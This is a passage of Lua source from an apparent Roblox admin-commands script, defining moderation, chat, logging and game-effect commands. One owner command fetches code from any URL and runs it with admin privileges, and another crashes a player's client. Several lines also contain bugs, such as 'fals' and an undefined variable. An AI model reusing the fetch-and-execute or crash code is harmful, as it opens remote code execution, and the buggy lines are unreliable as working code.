5682 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5683 local Players = STRING:Scan(Arguments[1], Speaker)
5684 for _,Player in pairs(Players) do
5685 local PreAdd = {}
5686 for _,Data in pairs(IRC.Chats) do
5687 local Error = nil
5688 if Rank == "Owner" then Error = Data[3] end
5689 table.insert(PreAdd, {Data[1], Data[2], Error})
5690 end
5691 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5692 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5693 if Rank ~= "Owner" then Error = nil end
5694 AddMessage:Invoke(UserName, Message, Error)
5695 end)
5696 SendPressed.Event:connect(function(Text)
5697 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5698 IRC:AddChat(Player.Name, Text)
5699 end)
5700 end
5701 end};
5702
5703 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5704 local Players = STRING:Scan(Arguments[1], Speaker)
5705 for _,Player in pairs(Players) do
5706 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5707 if Type == "Leave" then
5708 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5709 elseif Type == "Join" then
5710 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5711 end
5712 end)
5713 PriChat.Chatted.Event:connect(function(UserName, Message)
5714 AddMessage:Invoke(UserName, Message)
5715 end)
5716 SendPressed.Event:connect(function(Text)
5717 PriChat.Chatted:Fire(Player.Name, Text)
5718 table.insert(PriChat.Chats, {Player.Name, Text})
5719 end)
5720 end
5721 end};
5722
5723 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5724 ExecuteSafe(Arguments[1], Speaker)
5725 end};
5726
5727 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5728 local Script = REMOTE:GetURL(Arguments[1], Player)
5729 if Script then
5730 ExecuteSafe(Script, Speaker)
5731 end
5732 end, Http = true};
5733
5734 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5735 local Time = tick()
5736 local Res = REMOTE:GetURL(Arguments[1], Player)
5737 if Res then
5738 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5739 end
5740 end, Http = true};
5741
5742 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5743 CORE:RemoveAdmin(Speaker)
5744 end};
5745
5746 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5747 for _,Player in pairs(Server.Players:GetPlayers()) do
5748 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5749 end
5750 end};
5751
5752 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5753 local Players = STRING:Scan(Arguments[1], Speaker)
5754 local Debt = nil
5755 for _,Player in pairs(Players) do
5756 if not Debt then
5757 Debt = GUI:ShowDebtStats(Player)
5758 else
5759 GUI:ShowDebtStats(Player, Debt)
5760 end
5761 end
5762 end, Http = true};
5763
5764 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5765 local Players = STRING:Scan(Arguments[1], Speaker)
5766 for _,Player in pairs(Players) do
5767 GUI:CreateHUD(Player)
5768 end
5769 end};
5770
5771 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5772 local Players = STRING:Scan(Arguments[1], Speaker)
5773 for _,Player in pairs(Players) do
5774 if Player:FindFirstChild("PlayerGui") then
5775 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5776 if HUD then HUD:Destroy() end
5777 end
5778 end
5779 end};
5780
5781 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5782 local Players = STRING:Scan(Arguments[1], Speaker)
5783 GUI:Vote(Speaker, Players, Arguments[2], 30)
5784 end};
5785
5786 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5787 local Players = STRING:Scan(Arguments[1], Speaker)
5788 for _,Player in pairs(Players) do
5789 CORE:ExecuteResource("Bomb", Player.Character)
5790 end
5791 end};
5792
5793 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5794 local Players = STRING:Scan(Arguments[1], Speaker)
5795 for _,Player in pairs(Players) do
5796 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5797 CORE:RestoreCamera(Player)
5798 end
5799 end};
5800
5801 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5802 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5803 CORE:RestoreCamera(Speaker)
5804 end};
5805
5806 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5807 local Players1 = STRING:Scan(Arguments[1], Speaker)
5808 local Players2 = STRING:Scan(Arguments[2], Speaker)
5809 for _,Player1 in pairs(Players1) do
5810 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5811 for _,Player2 in pairs(Players2) do
5812 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5813 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5814 end
5815 end
5816 end
5817 end
5818 end};
5819
5820 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5821 local Players = STRING:Scan(Arguments[1], Speaker)
5822 for _,Player in pairs(Players) do
5823 Player:LoadCharacter()
5824 end
5825 end};
5826
5827 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5828 local Players = STRING:Scan(Arguments[1], Speaker)
5829 for _,Player in pairs(Players) do
5830 CORE:RestoreCamera(Player)
5831 end
5832 end};
5833
5834 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5835 local Players = STRING:Scan(Arguments[1], Speaker)
5836 for _,Player in pairs(Players) do
5837 CORE:Jail(Player)
5838 end
5839 end};
5840
5841 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5842 local Players = STRING:Scan(Arguments[1], Speaker)
5843 for _,Player in pairs(Players) do
5844 CORE:UnJail(Player)
5845 end
5846 end};
5847
5848 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5849 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5850 end};
5851
5852 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5853 SOUND:StopSpeaking()
5854 end};
5855
5856 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5857 local Players = STRING:Scan(Arguments[1], Speaker)
5858 local Compile = {}
5859 for Num,Player in pairs(Players) do
5860 local PlayerRank = RANK:GetRank(Player)
5861 local PlayerInfo = ClientInfo[Player.Name]
5862 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5863 table.insert(Compile, "User ID: "..Player.UserId)
5864 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5865 table.insert(Compile, "Rank: "..PlayerRank)
5866
5867 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5868 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5869 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5870 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5871 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5872 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5873 if PlayerInfo.Benchmark then
5874 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5875 end
5876 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5877 end
5878 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5879 end};
5880
5881 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5882 if tonumber(Arguments[2]) then
5883 local Players = STRING:Scan(Arguments[1], Speaker)
5884 for _,Player in pairs(Players) do
5885 coroutine.wrap(function()
5886 if Player.Character then
5887 table.insert(LoopKills, Player.Name)
5888 local Loop = nil
5889 local PrevChar = nil
5890
5891 for i = 1,tonumber(Arguments[2]) do
5892 local Char = Player.Character
5893 if PrevChar and PrevChar ~= Char then
5894 PrevChar:Destroy()
5895 end
5896 PrevChar = Char
5897 local CanDie = true
5898 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5899 if CanDie == false then
5900 break
5901 end
5902 ypcall(function() Char.Parent = Server.Lighting end)
5903 wait(0.1)
5904 ypcall(function() Char.Parent = Server.Workspace end)
5905 wait(0.1)
5906 end
5907 end
5908 end)()
5909 end
5910 else
5911 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5912 end
5913 end};
5914
5915 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5916 local Players = STRING:Scan(Arguments[1], Speaker)
5917 for _,Player in pairs(Players) do
5918 for Num,Name in pairs(LoopKills) do
5919 if Player.Name == Name then
5920 table.remove(LoopKills, Num)
5921 end
5922 end
5923 end
5924 end};
5925
5926 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5927 SOUND:PlayGlobalSound(Arguments[1])
5928 end};
5929
5930 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5931 SOUND:StopGlobalSound()
5932 SOUND:ClearInfo()
5933 end};
5934
5935 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5936 local Pitch = tonumber(Arguments[1])
5937 if not Pitch then Pitch = 1 end
5938 if Sound then
5939 Sound.Pitch = Pitch
5940 end
5941 end};
5942
5943 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5944 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5945 local Items = MARKET:SearchItem(9, Arguments[1])
5946 if Items then
5947 if #Items ~= 0 then
5948 local List,Correlate = {},{}
5949 for Num,Info in pairs(Items) do
5950 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5951 table.insert(List, Display)
5952 Correlate[Display] = Info.AssetId
5953 end
5954 CloseGui:Invoke()
5955
5956 local CanClick = true
5957 if Rank == "Member" then CanClick = false end
5958 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5959 Clicked.Event:connect(function(ClickName)
5960 local OldSoundId = nil
5961 SOUND:StopGlobalSound()
5962 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5963 SOUND:PlayGlobalSound(Correlate[ClickName])
5964 end
5965 end)
5966 else
5967 CloseGui:Invoke()
5968 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5969 end
5970 else
5971 CloseGui:Invoke()
5972 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5973 end
5974 end, Http = true};
5975
5976 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5977 local Players = STRING:Scan(Arguments[1], Speaker)
5978 for _,Player in pairs(Players) do
5979 if Player.Character then
5980 CORE:ExecuteResource("Gun", Player.Character)
5981 end
5982 end
5983 end};
5984
5985 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5986 local Players = STRING:Scan(Arguments[1], Speaker)
5987 for _,Player in pairs(Players) do
5988 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5989 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5990 Player.Character.Humanoid.WalkSpeed = 0
5991 Player.Character.Torso.Anchored = true
5992 coroutine.wrap(function()
5993 local OldCFrame = Player.Character.Torso.CFrame
5994 for i = 0,8,0.1 do
5995 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5996 wait()
5997 end
5998 Player.Character.Torso.Anchored = false
5999 Player.Character:BreakJoints()
6000 CORE:InvisiblePlayer(Player)
6001 end)()
6002 end
6003 end
6004 end};
6005
6006 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6007 local Players = STRING:Scan(Arguments[1], Speaker)
6008 for _,Player in pairs(Players) do
6009 CORE:AnchorPlayer(Player)
6010 end
6011 end};
6012
6013 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6014 local Players = STRING:Scan(Arguments[1], Speaker)
6015 for _,Player in pairs(Players) do
6016 CORE:UnanchorPlayer(Player)
6017 end
6018 end};
6019
6020 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6021 local Players = STRING:Scan(Arguments[1], Speaker)
6022 for _,Player in pairs(Players) do
6023 CORE:InvisiblePlayer(Player)
6024 end
6025 end};
6026
6027 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6028 local Players = STRING:Scan(Arguments[1], Speaker)
6029 for _,Player in pairs(Players) do
6030 CORE:VisiblePlayer(Player)
6031 end
6032 end};
6033
6034 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6035 local Players = STRING:Scan(Arguments[1], Speaker)
6036 for _,Player in pairs(Players) do
6037 if Player.Character and Player.Character:FindFirstChild("Torso") then
6038 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6039 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6040 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6041 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6042 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6043 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6044 Fly:Play()
6045 local Touched = false
6046 coroutine.wrap(function()
6047 repeat wait(0.1)
6048 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6049 until not Ast or Ast.Parent == nil or Touched == true
6050 end)()
6051 Ast.Touched:connect(function(Part)
6052 if Touched == false then
6053 Touched = true
6054 Part:BreakJoints()
6055 local Boom = Instance.new("Explosion", Workspace)
6056 Boom.Position = Ast.Position
6057 Boom.BlastPressure = 1000000
6058 Boom.BlastRadius = 30
6059 Fire.Heat = 0
6060 Smoke.RiseVelocity = 0
6061 Fly:Stop()
6062 BoomSound:Play()
6063 coroutine.wrap(function()
6064 wait(3)
6065 BoomSound:Stop()
6066 if Ast and Ast.Parent ~= nil then
6067 Ast:Destroy()
6068 end
6069 end)()
6070 end
6071 end)
6072 end
6073 end
6074 end};
6075
6076 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6077 local Success = {}
6078 local Players = STRING:Scan(Arguments[1], Speaker)
6079 for _,Player in pairs(Players) do
6080 local PlayerRank = RANK:GetRank(Player)
6081 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6082 CORE:Kick(Player)
6083 table.insert(Success, Player)
6084 end
6085 end
6086 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6087 end};
6088
6089 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6090 local Success = {}
6091 local Players = STRING:Scan(Arguments[1], Speaker)
6092 for _,Player in pairs(Players) do
6093 local PlayerRank = RANK:GetRank(Player)
6094 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6095 RANK:RemoveRank(Player)
6096 table.insert(Settings.Ranks.Banned, Player.Name)
6097 CORE:Kick(Player)
6098 table.insert(Success, Player)
6099 end
6100 end
6101 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6102 end};
6103
6104 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6105 local Success = {}
6106 local Players = STRING:Scan(Arguments[1], Speaker)
6107 for _,Player in pairs(Players) do
6108 local PlayerRank = RANK:GetRank(Player)
6109 if PlayerRank ~= "Owner" then
6110 RANK:RemoveRank(Player)
6111 table.insert(Settings.Ranks.Crashed, Player.Name)
6112 CORE:Crash(Player)
6113 table.insert(Success, Player)
6114 end
6115 end
6116 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6117 end};
6118
6119 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6120 local Success = {}
6121 local Players = STRING:Scan(Arguments[1], Speaker)
6122 for _,Player in pairs(Players) do
6123 local PlayerRank = RANK:GetRank(Player)
6124 if PlayerRank ~= "Owner" then
6125 RANK:RemoveRank(Player)
6126 table.insert(Settings.Ranks.Muted, Player.Name)
6127 GUI:CoreGui(Player, "Chat", false)
6128 table.insert(Success, Player)
6129 end
6130 end
6131 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6132 end};
6133
6134 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6135 local Players = STRING:Scan(Arguments[1], Speaker)
6136 if #Players > 0 then
6137 local Success = {}
6138 for _,Player in pairs(Players) do
6139 local RankName,RankNum = RANK:GetRank(Player)
6140 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6141 if not RANK:IsSupremeOwner(Player) then
6142 if RankName == "Muted" then
6143 GUI:CoreGui(Player, "Chat", true)
6144 end
6145 if RankNum > 0 then
6146 GUI:TellNotAdmin(Player)
6147 end
6148 RANK:RemoveRank(Player)
6149 table.insert(Success, Player)
6150 end
6151 end
6152 end
6153 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6154 else
6155 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6156 if Player then
6157 local RankNum = RANK:ConvertRank(PlayerRank)
6158 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6159 if not RANK:IsSupremeOwner(Player) then
6160 RANK:RemoveRank(Player)
6161 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6162 end
6163 end
6164 end
6165 end
6166 end};
6167
6168 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6169 local Players = STRING:Scan(Arguments[1], Speaker)
6170 if #Players > 0 then
6171 local Success = {}
6172 for _,Player in pairs(Players) do
6173 local PlayerRank,RankNum = RANK:GetRank(Player)
6174 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6175 RANK:RemoveRank(Player)
6176 table.insert(Settings.Ranks.Member, Player.Name)
6177 GUI:TellAdmin(Player)
6178 table.insert(Success, Player)
6179 end
6180 end
6181 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6182 else
6183 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6184 if Player then
6185 local RankNum = RANK:ConvertRank(PlayerRank)
6186 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6187 if not RANK:IsSupremeOwner(Player) then
6188 RANK:RemoveRank(Player)
6189 table.insert(Settings.Ranks.Member, Player)
6190 end
6191 end
6192 else
6193 RANK:RemoveRank(Arguments[1])
6194 table.insert(Settings.Ranks.Member, Arguments[1])
6195 end
6196 end
6197 end};
6198
6199 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6200 local Players = STRING:Scan(Arguments[1], Speaker)
6201 if #Players > 0 then
6202 local Success = {}
6203 for _,Player in pairs(Players) do
6204 local PlayerRank,RankNum = RANK:GetRank(Player)
6205 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6206 RANK:RemoveRank(Player)
6207 table.insert(Settings.Ranks.Admin, Player.Name)
6208 GUI:TellAdmin(Player)
6209 table.insert(Success, Player)
6210 end
6211 end
6212 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6213 else
6214 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6215 if Player then
6216 local RankNum = RANK:ConvertRank(PlayerRank)
6217 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6218 if not RANK:IsSupremeOwner(Player) then
6219 RANK:RemoveRank(Player)
6220 table.insert(Settings.Ranks.Admin, Player)
6221 end
6222 end
6223 else
6224 RANK:RemoveRank(Arguments[1])
6225 table.insert(Settings.Ranks.Admin, Arguments[1])
6226 end
6227 end
6228 end};
6229
6230 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6231 local Players = STRING:Scan(Arguments[1], Speaker)
6232 if RANK:IsSupremeOwner(Speaker) then
6233 if #Players > 0 then
6234 local Success = {}
6235 for _,Player in pairs(Players) do
6236 if not RANK:IsSupremeOwner(Player) then
6237 RANK:RemoveRank(Player)
6238 table.insert(Settings.Ranks.Owner, Player.Name)
6239 GUI:TellAdmin(Player)
6240 table.insert(Success, Player)
6241 end
6242 end
6243 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6244 else
6245 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6246 if Player then
6247 local RankNum = RANK:ConvertRank(PlayerRank)
6248 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6249 if not RANK:IsSupremeOwner(Player) then
6250 RANK:RemoveRank(Player)
6251 table.insert(Settings.Ranks.Owner, Player)
6252 end
6253 end
6254 else
6255 RANK:RemoveRank(Arguments[1])
6256 table.insert(Settings.Ranks.Owner, Arguments[1])
6257 end
6258 end
6259 end
6260 end};
6261
6262 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6263 local TableStorage = {}
6264 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6265 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6266 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6267 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6268 end};
6269
6270 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6271 local TableStorage = {}
6272 for _,Player in pairs(Server.Players:GetChildren()) do
6273 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6274 if ValidAdmin then
6275 if PlayerRank == "Owner" then
6276 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6277 else
6278 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6279 end
6280 end
6281 end
6282 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6283 end};
6284
6285 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6286 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6287 end};
6288
6289 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6290 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6291 end};
6292
6293 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6294 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6295 end};
6296
6297 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6298 local TableStorage = {}
6299 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6300 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6301 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6302 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6303 end};
6304
6305 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6306 local TableStorage = {}
6307 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6308 for Num,PlayerName in pairs(PlayerNames) do
6309 if PlayerRank == "Owner" then
6310 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6311 else
6312 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6313 end
6314 end
6315 end
6316 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6317 end};
6318
6319 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6320 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6321 end};
6322
6323 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6324 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6325 end};
6326
6327 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6328 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6329 end};
6330
6331 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6332 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6333 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6334 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6335 end};
6336
6337 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6338 CommandLogs = {}
6339 end};
6340
6341 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6342 ChatLogs = {}
6343 end};
